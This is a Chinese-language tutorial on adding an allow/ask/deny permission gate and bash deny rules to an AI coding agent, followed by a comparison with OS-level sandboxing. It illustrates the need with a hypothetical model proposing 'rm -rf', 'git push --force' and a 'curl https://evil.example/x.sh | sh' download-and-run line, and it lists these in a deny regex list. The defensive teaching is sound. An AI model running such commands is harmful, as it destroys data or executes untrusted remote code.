Permission

危险动作在 shell 执行前需要一个 Harness 决策点。

允许、询问、拒绝——三态策略表。

80 行审批策略

问题

s02 的 Agent 现在有 bash 工具,模型说:

"好的,我来清理一下:rm -rf node_modulesgit push --forcecurl https://evil.example/x.sh | sh"

如果没有拦截,这些命令会原样执行。模型很强大,但它不值得无条件的信任——危险动作在 shell 执行前需要一个 Harness 决策点。问题是:谁来做这个决定?机器(策略)还是人(询问)?

解决方案

execute 之前插入一道策略闸门:每个工具调用先查策略表,得到三个结果之一——allow(放行)、deny(拒绝)、ask(问人)。ask 时向终端输出命令并等待 y/n。

const POLICY = {
  read_file:  "allow",
  list_dir:   "allow",
  grep:       "allow",
  write_file: "ask",     // 写入需要确认
  bash:       "ask",     // shell 一律需要确认
};

async function gate(name, args) {
  const decision = POLICY[name] ?? "ask";
  if (decision === "deny") return `DENIED: ${name} is not permitted`;
  if (decision === "allow") return "allow";
  // ask:把将要执行的内容展示给人,等待批准
  console.log(`\n[需要批准] ${name} ${JSON.stringify(args)}`);
  return await askUser() ? "allow" : "deny";
}

工作原理

第 1 步:执行流程变成 决策 → 执行 → 记录 三段。决策失败(deny)不进入执行。

for (const call of msg.tool_calls) {
  const args = JSON.parse(call.function.arguments);
  const verdict = await gate(call.function.name, args);
  if (verdict !== "allow") {
    messages.push({ role: "tool", tool_call_id: call.id, content: verdict });
    continue;
  }
  const output = await execute(call.function.name, args);
  messages.push({ role: "tool", tool_call_id: call.id, content: output });
}

第 2 步:askUser 用一个简单的读行交互实现——向人展示"谁、做什么、参数是什么"。

import readline from "node:readline/promises";
async function askUser() {
  const rl = readline.createInterface({ input: process.stdin, output: process.stdout });
  const answer = await rl.question("允许执行吗?(y/N) ");
  rl.close();
  return answer.trim().toLowerCase() === "y";
}

第 3 步:命令级细粒度规则。bash 工具本身是"ask",但其中的只读命令(lsgit status)可以放行;危险前缀(rm -rfgit push --force)直接拒绝。

const BASH_DENY = [/^rm -rf /, /^git push --force/, /\| sh\s*$/];
const BASH_ALLOW = [/^(ls|cat|head|tail|pwd|git status|git diff)\b/];

function gateBash(command) {
  if (BASH_DENY.some((re) => re.test(command))) return "deny";
  if (BASH_ALLOW.some((re) => re.test(command))) return "allow";
  return "ask";
}

权限是策略与执行的分离:策略是数据(可以来自配置文件),执行是代码。改权限不改循环,改执行不碰策略。

试一下

运行 s03,先给它安全的命令,再试试危险命令:

  • "列出当前目录"(bash: allow)
  • "创建 notes.md 写入一句话"(write_file: ask → 输入 y)
  • "删除整个项目目录"(bash: deny)

观察重点:ask 决策打断模型流畅度多少次?如果每次都问,用户会麻——生产系统怎么做?答案在 s04(钩子)和 s18(预设)里。

以下内容基于 packages/interactionpackages/sandbox 的核查。DSH 把"决策点"拆成三个正交的系统:

一、审批(approval)

二、进程沙箱(sandbox)

你的策略表是"软件层的承诺"——模型看不见 rm -rf 吗?它看得见,只是被拒绝了。DSH 还有硬件层兜底

  • packages/sandbox/sandbox:进程沙箱缝,用 SandboxModeread-only / workspace-write / danger-full-access)约束文件效果。
  • packages/sandbox/sandbox-local:Linux bwrap/Landlock、macOS Seatbelt、Windows ACL 受限令牌后端。即使审批放行,进程仍然受 OS 级约束——read-only 模式下写文件在系统层面被拒绝,与"模型是否守规矩"无关。
  • packages/sandbox/sandbox-policy:按会话解析执行策略(工作区根、模式)。

三、你的三态表 vs DSH 的三层

你的最小实现 DSH 的真实实现
POLICY 硬编码在代码里 策略来自配置(cordis.yml / 用户设置),按会话解析
ask 阻塞在终端 审批事件 + 多回答者(GUI、自动化回答者)
只约束模型行为 审批(行为层)+ 沙箱(OS 层)双保险

一句话:审批回答"模型可不可以这么做",沙箱回答"进程事实上能不能这么做"。两者都独立于循环。